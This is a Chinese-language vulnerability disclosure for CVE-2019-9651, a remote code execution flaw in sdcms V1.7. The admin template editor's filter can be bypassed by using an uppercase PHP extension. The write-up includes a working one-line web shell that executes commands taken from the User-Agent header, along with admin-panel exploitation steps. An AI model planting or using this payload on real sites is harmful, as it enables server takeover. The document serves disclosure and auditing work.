CVE中文申请站

CVE-2019-9651:sdcms V1.7 远程代码执行

一、漏洞摘要

漏洞名称: sdcms V1.7 远程代码执行
上报日期: 2019-03-04
漏洞发现者: Yang.X
产品首页: https://www.sdcms.cn/
软件链接: https://www.sdcms.cn/down-109.html
版本: 1.7
CVE编号: CVE-2019-9651


二、漏洞概述

sdcms的代码中,对模板的编辑过滤不严,导致在后台更改的代码中可以绕过自身的过滤,添加php代码造成代码执行。

0x01审计发现:
后台可以对php文件进行编辑,故对其代码审计:
s1.png

0x01:定位到文件:
/app/admin/controller/themecontroller.php
一下代码就是,后台编辑模板文件的处理代码。
s2.png
s3.png
s4.png
这里主要看第一个if里面的。
可以看到
s5.png
这里对文件读取进行了处理,并且判断文件是否存在。
s6.png
继续往下走,可以看到 t1、t2参数,这些都是对传进来的参数进行处理。t2就是编辑的文件内容。可以看到这里有一个check_bad($text),函数对编辑的文件进行过滤处理。
s7.png
主要过滤了一些参数传递、还有读写文件以及危险函数。
s8.png
校验通过后,最后在判断文件是否是php,是的话,添加一段php代码在编辑的文件里面,这样就不能执行了,最后覆盖保存文件。
0x02:代码执行漏洞
s9.png
抓包可以看到,root为文件名称 解码就是default/top.php,t0同理也是,t2就是编辑后的文件。
这里进行绕过的方法就是 上述判断只判断了php,这里可以将后缀大写,即PHP
s10.png

即可绕过限制,至于最后的check_bad($text),找一个可以接受的参数即可:
<?php system($_SERVER['HTTP_USER_AGENT']); ?> 过滤函数较少,这里可以直接写一个,ua的shell。
s11.png

三、利用方法

登录后台
系统管理--》模板管理--》default--》编辑php文件
q1.png
q2.png
按照上述位置。编辑文件,并发送,抓包测试:
q3.png
验证:
q4.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/155/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9651
exploit-db:发布中